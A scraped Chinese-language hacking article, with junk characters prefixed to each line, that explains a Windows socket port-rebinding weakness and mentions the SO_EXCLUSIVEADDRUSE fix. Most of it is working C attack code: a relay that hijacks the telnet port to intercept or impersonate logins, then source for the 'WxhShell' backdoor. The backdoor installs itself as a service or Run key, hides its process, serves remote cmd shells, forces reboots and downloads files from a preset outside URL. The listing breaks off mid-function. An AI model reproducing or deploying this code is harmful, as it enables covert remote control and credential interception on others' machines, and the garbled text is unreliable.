在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
U
jB5Xks s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
iKe68kx CJ[^Fi?CH saddr.sin_family = AF_INET;
>`Zw0S ($^=f }+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
TWo.c _l @hIHvLpRB bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\kVi&X=q: R\n*O@E
v3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>R2o7~ =F90SyzTy 这意味着什么?意味着可以进行如下的攻击:
E|omC_h =&v&qne9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}#QYZ nR e:zuP.R 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?<eH!MHF J+0T8
?A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$ 2PpG|q ?
EXYLG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
fs%l j_t e6hfgVN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
jij-pDQnv C(lGW,! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
j+QE~L " 2J2za 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
zT"W(3 "gGv>]3 #include
xBKis\b #include
/&g~*AL #include
]R8JBnA #include
rQ287y{ DWORD WINAPI ClientThread(LPVOID lpParam);
cXG$zwS\ int main()
jp P'{mc {
Wd/m]]W8Q WORD wVersionRequested;
r@]iy78
j DWORD ret;
.3< sv WSADATA wsaData;
Pvu*Y0_p BOOL val;
CWS&f
g%o{ SOCKADDR_IN saddr;
\XT~5N6 SOCKADDR_IN scaddr;
)0p7d:%mV int err;
)6
[d'2 SOCKET s;
#a=~a=c(^ SOCKET sc;
Z2hIoCT int caddsize;
`%A>{ A" HANDLE mt;
{/PiX1mn DWORD tid;
^h\Y. wVersionRequested = MAKEWORD( 2, 2 );
6=i@ttAK err = WSAStartup( wVersionRequested, &wsaData );
W<s5rM x if ( err != 0 ) {
<c$K3 printf("error!WSAStartup failed!\n");
Q=Y1kcTOn return -1;
-/ h'uG }
v\b@;H` saddr.sin_family = AF_INET;
,T\)%q 0z:BSdno //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
mnS F=l;; c6Z\ecH9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m(?ZNtBQt saddr.sin_port = htons(23);
/5 6sPl
7} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>pq= .)X} {
]\Q9j7}37+ printf("error!socket failed!\n");
<\C/; return -1;
Z/w "zCd }
<m!(eLm+B val = TRUE;
47
*, //SO_REUSEADDR选项就是可以实现端口重绑定的
r&?i>.Kz8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{m2lVzK {
ohj(1jt printf("error!setsockopt failed!\n");
9$oU6#U,h return -1;
1feS/l$ }
pX v@QD#! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
i#W0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
&S|%>C{P.w //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
hAv.rjhw_ EAi!"NJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|#_`aT" {
Eggdj+ ret=GetLastError();
l!^+Xeg~ printf("error!bind failed!\n");
H|i39XV return -1;
{X'D07 q }
8*t8F\U# listen(s,2);
FqpUw<]6s while(1)
#Kd^t=k {
)`B
n"= caddsize = sizeof(scaddr);
uy^vQ/ //接受连接请求
$^;b
1bnO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&mJ
+#vT if(sc!=INVALID_SOCKET)
h8me.=S& {
g8^YDrH mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
qS{E+) P if(mt==NULL)
BqA {
2AK]x`GY printf("Thread Creat Failed!\n");
\vQjTM-7 break;
v;m}<3@' }
tjIT4 }
.uGvmD<;x CloseHandle(mt);
X[Q:c4' }
nNJMQb'K closesocket(s);
//_aIp WSACleanup();
h<8.0 return 0;
?rG>SA>o }
mqFo`Ee DWORD WINAPI ClientThread(LPVOID lpParam)
c
Oi:bC@ {
E=9xiS SOCKET ss = (SOCKET)lpParam;
UZ` <D/ SOCKET sc;
+^\TG>le unsigned char buf[4096];
.3JLa8y SOCKADDR_IN saddr;
t'pY~a9F long num;
~$\9T.tre2 DWORD val;
Fw!TTH6l0 DWORD ret;
8vL2<VT; //如果是隐藏端口应用的话,可以在此处加一些判断
/PuN+M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m5/d=k0l saddr.sin_family = AF_INET;
B"rfR_B2M# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
f8c'`$O saddr.sin_port = htons(23);
bb]r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qB0F9[U {
B<p -.tv printf("error!socket failed!\n");
bXw!fYm& return -1;
[~[)C]-= }
QSxR@hC val = 100;
/\0rRT if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WK<:(vu. {
Bl"BmUn ret = GetLastError();
=KctAR; return -1;
5RysN=czA }
7\?0d! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9h$08l {
jLZ^EM- ret = GetLastError();
c{X:0man return -1;
--}5%6 }
!iO%?nW; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6yN8(&` {
wcI?. printf("error!socket connect failed!\n");
S);SfNh%CL closesocket(sc);
i:coNK)4 closesocket(ss);
qP}187Q1 return -1;
c6@7>PM }
%gb4(~E+N while(1)
(WISf}[l; {
z9B""ws //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
[$<\*d/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
..5rW0lr //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
X'
,0vK num = recv(ss,buf,4096,0);
e2X\ll if(num>0)
VoTnm send(sc,buf,num,0);
bz1+AJG else if(num==0)
kU
{>hG4 break;
1YrIcovi- num = recv(sc,buf,4096,0);
ZVin+ z if(num>0)
$xK2M send(ss,buf,num,0);
'fGB#uBt else if(num==0)
ip`oL_c break;
jrl'?`O }
EL?6x closesocket(ss);
qZS]eQW. closesocket(sc);
&O:IRR7p return 0 ;
Yi5^#G }
Gz,?e]ZV @> ]O6P2 ;;zQV D )X ==========================================================
nbMxQODk ;
m]KKB 下边附上一个代码,,WXhSHELL
hN5?u: m 3Y@p$i5 ==========================================================
~mR@L `"l t6+c"=P# #include "stdafx.h"
!G8=S'~~ !pqfx93R* #include <stdio.h>
s6k@W T?"^ #include <string.h>
fK %${ #include <windows.h>
u Sl&d #include <winsock2.h>
L^{1dVGWNa #include <winsvc.h>
6Kbc:wlR #include <urlmon.h>
*:+&SxL X^td`}F/=V #pragma comment (lib, "Ws2_32.lib")
^]cl:m=* #pragma comment (lib, "urlmon.lib")
=,])xzG% D["~G v #define MAX_USER 100 // 最大客户端连接数
E0s|eA& #define BUF_SOCK 200 // sock buffer
U $2"ZyFii #define KEY_BUFF 255 // 输入 buffer
DT Cwf aJ{-m@/5 #define REBOOT 0 // 重启
e}u68|\EC #define SHUTDOWN 1 // 关机
Hrk]6* \|gE=5!Am= #define DEF_PORT 5000 // 监听端口
]2 7 )43\q Iu\ #define REG_LEN 16 // 注册表键长度
0{q>'dv #define SVC_LEN 80 // NT服务名长度
,dR<O.{0 NR6wNz&81 // 从dll定义API
+&*D7A>~p typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
VbG#)>"F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
S <RbC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n?[JPG2X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9Ev<t\B 5Qh$>R4!" // wxhshell配置信息
VK]cZ%) struct WSCFG {
[B,w\PLub int ws_port; // 监听端口
l+vD`aJ 3 char ws_passstr[REG_LEN]; // 口令
vh/&KTe?: int ws_autoins; // 安装标记, 1=yes 0=no
^c-8~r|y, char ws_regname[REG_LEN]; // 注册表键名
H:k?#7D( char ws_svcname[REG_LEN]; // 服务名
yZ:AJNb char ws_svcdisp[SVC_LEN]; // 服务显示名
@CTSvTt$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
0ap_tCY char ws_passmsg[SVC_LEN]; // 密码输入提示信息
].Sz2vI int ws_downexe; // 下载执行标记, 1=yes 0=no
Z0'&@P$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
lA/.4"nN char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@,:6wKMc \`:nmFO(9 };
lM|}K-2 @fc-[pv // default Wxhshell configuration
\}n\cUy- struct WSCFG wscfg={DEF_PORT,
h]>QGX[kC "xuhuanlingzhe",
P2!+ZJ& 1,
$SOFq+-T "Wxhshell",
L7`=ec< "Wxhshell",
zzH^xxg "WxhShell Service",
m}$7d5 "Wrsky Windows CmdShell Service",
lZr}F.7 "Please Input Your Password: ",
Nt
w?~% 1,
z|$M,?r' "
http://www.wrsky.com/wxhshell.exe",
WR<?_X_ "Wxhshell.exe"
?]AF?
0/ };
gr^TL1( GyZpdp! // 消息定义模块
.}c&"L;W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&Yklf?EZ>Q char *msg_ws_prompt="\n\r? for help\n\r#>";
i<b-$9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Mgp+#w+, char *msg_ws_ext="\n\rExit.";
L[cP2X]NQ char *msg_ws_end="\n\rQuit.";
o}p^q:T* char *msg_ws_boot="\n\rReboot...";
)4e8LO char *msg_ws_poff="\n\rShutdown...";
B6 yTD7 char *msg_ws_down="\n\rSave to ";
{6tj$&\) WbWEgd%8. char *msg_ws_err="\n\rErr!";
5<>"d :9 char *msg_ws_ok="\n\rOK!";
^7SE2Zi bk=ee7E7> char ExeFile[MAX_PATH];
>\o._?xSA int nUser = 0;
0 L$[w HANDLE handles[MAX_USER];
kj>!&W57 int OsIsNt;
;I/ A8<C i,B<k 0W9 SERVICE_STATUS serviceStatus;
dJjkH6%} SERVICE_STATUS_HANDLE hServiceStatusHandle;
4o<rj4G> #I"s{* // 函数声明
[0n[ \&
0 int Install(void);
jcbq# int Uninstall(void);
x:6c @2 int DownloadFile(char *sURL, SOCKET wsh);
5~[m] int Boot(int flag);
YvG=P<_xw void HideProc(void);
TYKs2+S6 int GetOsVer(void);
B2,c_[UZ. int Wxhshell(SOCKET wsl);
q|g>;_ void TalkWithClient(void *cs);
8CUlE-R5 int CmdShell(SOCKET sock);
bP Q=88* int StartFromService(void);
6E#znRi6IE int StartWxhshell(LPSTR lpCmdLine);
^~;"$=Wf 7|PB6h3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+^DDWVp VOID WINAPI NTServiceHandler( DWORD fdwControl );
Z0[d;m* }n( ?| // 数据结构和表定义
;Rljx3!N SERVICE_TABLE_ENTRY DispatchTable[] =
{SkE`u4Sz {
= inp>L {wscfg.ws_svcname, NTServiceMain},
o/6VOX {NULL, NULL}
#\8"d };
k2O3{xIjc #,9s\T // 自我安装
\c}pzBFd int Install(void)
ifcp!l+8 {
GO)5R, char svExeFile[MAX_PATH];
$Jo4n>/ HKEY key;
U,K=(I7OBX strcpy(svExeFile,ExeFile);
&/n*>%2 O.DO,]Uh // 如果是win9x系统,修改注册表设为自启动
3yrb7Rn3 if(!OsIsNt) {
iax0V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bd\%K`JQ{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*M^<oG RegCloseKey(key);
yv|`A2@9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cLf<YF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`W:z#uNG] RegCloseKey(key);
bq2f?uD-} return 0;
FeZ*c~q }
:8`~dj. }
3rY\y+m }
y_'6bpb else {
U=WS] Z(XohWe2 // 如果是NT以上系统,安装为系统服务
-wT!g;v;% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
` {qt4zd0 if (schSCManager!=0)
$^_6,uBM[ {
.e5d#gE0 SC_HANDLE schService = CreateService
_= cU2 (
jV[;e15+ schSCManager,
Z(t7QFd wscfg.ws_svcname,
!FwNq'Q8$ wscfg.ws_svcdisp,
|R2p^!m SERVICE_ALL_ACCESS,
pm=m~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
oY+p;&H SERVICE_AUTO_START,
guG&3{&\s SERVICE_ERROR_NORMAL,
TuEM svExeFile,
=I aWf NULL,
c5_/i7 NULL,
iu?gZVyka NULL,
Bi2 c5[3 NULL,
sh R| NULL
K3Bw3j 9 );
e#)NYcr6 if (schService!=0)
wX5q=I {
d
N$,AO T CloseServiceHandle(schService);
dVUe!S` CloseServiceHandle(schSCManager);
W4,'?o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!TivQB strcat(svExeFile,wscfg.ws_svcname);
Sn0kJIb
} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
o*Xfgc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9Z2 1|5 RegCloseKey(key);
JA*+F1s return 0;
nEUUD3a }
ps;d bY*s6 }
%E5b}E# CloseServiceHandle(schSCManager);
Y]7503J }
,kf.'N }
wTD}c1J( sopf-g: return 1;
Q:|W/RD~ }
L9<\vJ z)(W
x"> // 自我卸载
Rx.v/H int Uninstall(void)
L+*:VP6WD {
:0,yq?M HKEY key;
hbg$u$1`, /wax5FS'I, if(!OsIsNt) {
@H<*|3J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
''(rC38 RegDeleteValue(key,wscfg.ws_regname);
u>]3?ty` RegCloseKey(key);
m8;w7S7,j~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|Iw glb!k RegDeleteValue(key,wscfg.ws_regname);
T-#4hY` RegCloseKey(key);
`/Rqt+C return 0;
O,9^R }
J&s$Wqf }
q-+:1E }
Rpv[rvK' else {
%ioVNbrR7 S@Rd>4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0QT:@v2R if (schSCManager!=0)
-|Zzs4bx {
ALy7D*Z]w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.9J}Z^FD if (schService!=0)
+ c+i u6+" {
P6O\\,B1A if(DeleteService(schService)!=0) {
6UqAs<c9 CloseServiceHandle(schService);
vJaWHC$q CloseServiceHandle(schSCManager);
x(cv}#}S8 return 0;
i%JJ+9N }
- om9 Z0e CloseServiceHandle(schService);
0ki- /{; }
XPU>} 4{ CloseServiceHandle(schSCManager);
P1Z"}Qw }
/OWwC%tM/ }
xnt) 1Q ;Y[D#Ja- return 1;
|?#JCG }
A[8m3L#k E]rXp~AZm // 从指定url下载文件
DnFzCJ int DownloadFile(char *sURL, SOCKET wsh)
4qz+cB_ {
bD0l^?Hu! HRESULT hr;
rVqQo`K\ char seps[]= "/";
Q"ZpT char *token;
l'/`2Y1 char *file;
*V%"q|L8 char myURL[MAX_PATH];
(jA5`4>u char myFILE[MAX_PATH];
L2,2Sn*4i Z3weFbCH strcpy(myURL,sURL);
gu!!}pwV9 token=strtok(myURL,seps);
$3PDe while(token!=NULL)
pa1<=w {
5E-;4o;RI( file=token;
M2 |!,2 token=strtok(NULL,seps);
H7GI`3o }
ZX` \so,&, DH
yv^ GetCurrentDirectory(MAX_PATH,myFILE);
9zb1t1[W strcat(myFILE, "\\");
mmbe.$73 strcat(myFILE, file);
;_vhKU)%J# send(wsh,myFILE,strlen(myFILE),0);
9e=}PL send(wsh,"...",3,0);
L?j0t*do hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
j(Lz& *4 if(hr==S_OK)
P*A+k"DU1 return 0;
Yu\$Y0 {] else
N?ccG\t return 1;
R\5,H!V9n Cd_@< }
Ai1"UYk\\Y J<;io! // 系统电源模块
&J&'J~N int Boot(int flag)
hNM8H {
U?sHh2* HANDLE hToken;
Tj#S')s8 TOKEN_PRIVILEGES tkp;
< j:\;mi; 12z!{k7N if(OsIsNt) {
Ik$$Tn&; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
L@{'J LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Ku l<Q< tkp.PrivilegeCount = 1;
U-9Aq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
h(HpeN%`# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
x*7A33@i if(flag==REBOOT) {
#\w N2`" W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
.Qx5,)@9 return 0;
1H-Y3G>jN }
U
L
$! else {
q4[}b-fF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
UeO/<ml3>J return 0;
VKDOM0{V }
j|[rT^b@ }
9?H$0xZV else {
;
R}>SS' if(flag==REBOOT) {
^)~Smj^d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<"5l<E return 0;
94+^K=lAX }
}ouGxs+^[ else {
{&n- @$? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
zsXgpnlHT return 0;
F<,pAxl~@ }
3p=Xv%xd }
E:x@O8F g:M;S"U3*Y return 1;
?Fl}@EA#M }
n?fy@R R%WY!I8C // win9x进程隐藏模块
fWmc$r5n]( void HideProc(void)
}#FV{C] {
wuH*a3( +Ww] %`_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
MW7~=T if ( hKernel != NULL )
* @4@eQF {
9fEe={ B+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
H%O\4V2s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y1-dpML FreeLibrary(hKernel);
_u[tv, }
1?Y>Xz )XDBK*! return;
LeLUt<4~ }
rE+B}O S[zvR9AW& // 获取操作系统版本
$H@SXx int GetOsVer(void)
&s+l/;3 {
~.W]x~X$ OSVERSIONINFO winfo;
r'OqG^6JFN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
bFG~08Z ,d GetVersionEx(&winfo);
XPX?+W=mv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
(SyD)G\rj return 1;
W#F9Qw else
Hh1_zd| return 0;
Fa%1]R }
lnyb4d/ eM<N?9 s // 客户端句柄模块
*6/IO&y1a int Wxhshell(SOCKET wsl)
B>fZH\Y {
y0d= SOCKET wsh;
eA4D.7HDK struct sockaddr_in client;
,m=G9QcN DWORD myID;
EB[T 5{ N(7 XILC while(nUser<MAX_USER)
Z\nDR|3 {
A9.TRKb=8 int nSize=sizeof(client);
^O_Z5NbC3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<l<O2 l if(wsh==INVALID_SOCKET) return 1;
]I\GnDJ^ =P(*j7= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f!x9% if(handles[nUser]==0)
7l53&,s closesocket(wsh);
L!cOg8Z else
+Uq|Yh'Q nUser++;
JY"jj}H]| }
,.<mj !YE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[./FzlA s ?@ oF@AEx= return 0;
KW .4 9 }
cqG6di7# <+k&8^:bi // 关闭 socket
EV?}oh"x void CloseIt(SOCKET wsh)
H>CbMz1u {
=Wcvb?;* closesocket(wsh);
}p~2lOI nUser--;
oPKLr31zt ExitThread(0);
p3M!H2W }
j9+4},>>CU TPN+jK // 客户端请求句柄
e(t}$Q= void TalkWithClient(void *cs)
}^&S^N7 {
izl6L 'S_i6K SOCKET wsh=(SOCKET)cs;
%hVR|K|J char pwd[SVC_LEN];
h!w::cV char cmd[KEY_BUFF];
8}0wSVsxV$ char chr[1];
296}LW
int i,j;
GKt."[seV 4,)9@-|0R while (nUser < MAX_USER) {
u9!
? ]DVr-f
~ if(wscfg.ws_passstr) {
D>7a0p784 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"/'3I/} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(7R?T} //ZeroMemory(pwd,KEY_BUFF);
y#GHmHeh i=0;
Cy;UyZ while(i<SVC_LEN) {
q}LDFsU i\sBey ND" // 设置超时
>bW=oTFz fd_set FdRead;
T-] {gc struct timeval TimeOut;
?Lg(,-: FD_ZERO(&FdRead);
KwL_ae6fV FD_SET(wsh,&FdRead);
:F:1(FDP TimeOut.tv_sec=8;
cw<IL TimeOut.tv_usec=0;
*z~,|DQ(A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Cab.a)o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\BnU?z :c/54Ss~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
uBlPwb,V pwd
=chr[0]; *JJ8\R&P0
if(chr[0]==0xd || chr[0]==0xa) { jYp!?%!
pwd=0; ?%6oM
break; 4zyQ "?A~
} 1iF=~@Nz_
i++; Pe_O(
} "Vp
nr +6
9B0ON*`
// 如果是非法用户,关闭 socket .!o]oM
U/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N68mvBe
} 2VN].t:
t%}<S~"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
G[k3`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yNI0Do
2
pAy4%|(
while(1) { @ VWED
w ,j*I7V
ZeroMemory(cmd,KEY_BUFF);
NxHUOPAJc
X)3(.L
// 自动支持客户端 telnet标准 JWb +
j=0; b G:\*1T
while(j<KEY_BUFF) { U`(=iyWP=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CTNL->
cmd[j]=chr[0]; ,U\s89
if(chr[0]==0xa || chr[0]==0xd) { 91]|4k93
cmd[j]=0; WoTeIkM9
break; gv`_+E{P
} 9S%5Z>
j++; So1TH%
} -.h)CM@L
vD#U+
// 下载文件
(=!At)O
if(strstr(cmd,"http://")) { {[!<yUJ`S#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,`HweIq(
if(DownloadFile(cmd,wsh)) R #wZW&N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,j_js8r
else lx|Aw@C3~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r
XJx~
g
} _KM?
?&
else { }B-$}
lUu0AZQmG
switch(cmd[0]) { ;^ME
NVMn7H}>
// 帮助 B'yjMY![
case '?': { [BE_^d5&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =>
(g_\
break; :BPgDLL,
} kPX+n+$
// 安装 a&%aads
case 'i': { ~0p8joOH
if(Install()) `]5qIKopL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)#orZtzr
else Al^tM0T^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A$@;Q5/2
break; )V1xL_hx/
} u !BU^@ P
// 卸载 rCw4a?YS
case 'r': { 6BV 6<PHJ
if(Uninstall()) g4ZUh@b~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #|sE]\bsH
else .)
Ej#mk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k?fz @H8D(
break; j#//U2VdN
} A]bQUWt2
// 显示 wxhshell 所在路径 zQ=b|p]|W
case 'p': { z/J?!ee
char svExeFile[MAX_PATH]; ;U'\"N9
strcpy(svExeFile,"\n\r"); Ge2Klyi
strcat(svExeFile,ExeFile); 0S5xmEzop
send(wsh,svExeFile,strlen(svExeFile),0); 1?.CXqK
break; (9u`(|x
} k{+cFG\C&
// 重启 q9vND[BQ
case 'b': { ClKWf\(ii6
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jq0sZ0j
if(Boot(REBOOT)) M+&~sX*a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RnH?95n?{
else { {?yVA
closesocket(wsh); 8w:ay,=
ExitThread(0); Tr?p/9.m
} g4^-B
break; R[m-jUL
} ?^~ZsOd8B
// 关机 Pl B3"{}0Q
case 'd': { *O$|,EsY
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A"7YkOfwH
if(Boot(SHUTDOWN)) WR #XPbk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lR %#R
else { &4OJJ9S
closesocket(wsh); !}6'vq
ExitThread(0); gfggL&t(
} w%\
n XJ
break; _#K|g#p5
} }n&nuaj
// 获取shell "bej#'M#
case 's': { +<\LY(o
CmdShell(wsh); 8[@,i|kgg0
closesocket(wsh); +'m9b7+v
ExitThread(0); zLl-{Kk
break; }uDpf0;^
} F$8:9eL,T
// 退出 bhUE!h<
case 'x': { &n1Vv_Lb
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kl. *Q
CloseIt(wsh); G
`|7NL
break; __}SHU0R
} r^Ra`:ca
// 离开 ft/k-64
case 'q': { \IQG%L{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Uc!k)o#=
closesocket(wsh); "w"a0nv
WSACleanup(); a~yiLq
exit(1); Kz;Ar&^`N
break; bVcJ/+Yx|
} h?TIxo:6/
} 807+|Ol[
} I q|'#hs
,9y6:W%5
// 提示信息 b,Eq-Z;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zYM2`(Z
5B
} qq!ZYWy2
} wp~}1]g
fExFpR,`
return; 76T7<.S
} ~;oXLCL0})
SXsszb:_
// shell模块句柄 B}04E^
int CmdShell(SOCKET sock) ILCh1=?{9r
{ al#(<4sJ
STARTUPINFO si; ?J$k
5;
ZeroMemory(&si,sizeof(si)); x6K_!L*Fx]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Ug_3ZuU
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fOMaTnm'
PROCESS_INFORMATION ProcessInfo; h_t`)]-
char cmdline[]="cmd"; 3fLdceT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); % (h6m${j
return 0; :'r*
5EX
} |gV~U~A]
3\Amj}RJ
// 自身启动模式 iJOoO"Ai
int StartFromService(void) xlZh(pf
{ J-+mdA
typedef struct Dh^l:q+c
{ 7y^)n<'co
DWORD ExitStatus; =H7p&DhD